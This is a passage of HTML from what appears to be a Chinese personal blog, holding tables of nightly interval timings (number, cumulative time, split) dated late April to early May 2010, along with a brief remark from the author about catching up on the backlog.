<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:21</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:11</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:59</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:50</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:39</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:30</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:20</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:12</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:42</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
</tbody>
</table>
<h3>20100508</h3>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100507-22:21</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:22</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:06</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:52</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:37</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:22</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:09</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:59</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:37</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:06</td>
<td align="CENTER" valign="MIDDLE">00:00:29</td>
</tr>
</tbody>
</table>
<h3>20100507</h3>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100506-22:03</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:56</td>
<td align="CENTER" valign="MIDDLE">00:00:56</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:43</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:34</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:25</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:04:13</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:05:00</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:49</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:39</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:31</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:08:01</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
</tbody>
</table>
<h3>20100506</h3>
<p style="padding-left: 30px;">懒人就是懒啊，更新以下前几天的数据。（昨天晚上熄灯以后忙了半个多小时的结果）</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100422-21:56</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:28</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:16</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:04</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:51</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:37</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:23</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:10</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:57</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:44</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">11</td>
<td align="CENTER" valign="MIDDLE">00:08:12</td>
<td align="CENTER" valign="MIDDLE">00:00:28</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100424-22:14</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
<td align="CENTER" valign="MIDDLE">00:00:34</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:13</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:52</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:37</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:20</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:03</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:50</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:35</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:05:50</td>
<td align="CENTER" valign="MIDDLE">00:00:15</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:19</td>
<td align="CENTER" valign="MIDDLE">00:00:29</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100424-22:33</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:36</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:22</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:10</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:57</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:49</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:39</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:30</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:20</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:50</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100426-22:15</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:16</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:59</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:44</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:27</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:12</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:59</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:46</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:31</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:58</td>
<td align="CENTER" valign="MIDDLE">00:00:27</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100427-22:01</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:23</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3+4</td>
<td align="CENTER" valign="MIDDLE">00:02:54</td>
<td align="CENTER" valign="MIDDLE">00:01:31</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:37</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:19</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:03</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:48</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:34</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:01</td>
<td align="CENTER" valign="MIDDLE">00:00:27</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100428-22:24</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:29</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:04</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:07</td>
<td align="CENTER" valign="MIDDLE">00:01:03</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:57</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:48</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:37</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:25</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:10</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:36</td>
<td align="CENTER" valign="MIDDLE">00:00:26</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100429-22:16</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:15</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:56</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:37</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:20</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:03</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:47</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:30</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:12</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:36</td>
<td align="CENTER" valign="MIDDLE">00:00:24</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100430-22:29</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:17</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:00</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:44</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:28</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:12</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:00</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:47</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:33</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:05</td>
<td align="CENTER" valign="MIDDLE">00:00:32</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100501-22:23</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:13</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:57</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:43</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:31</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:19</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:08</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
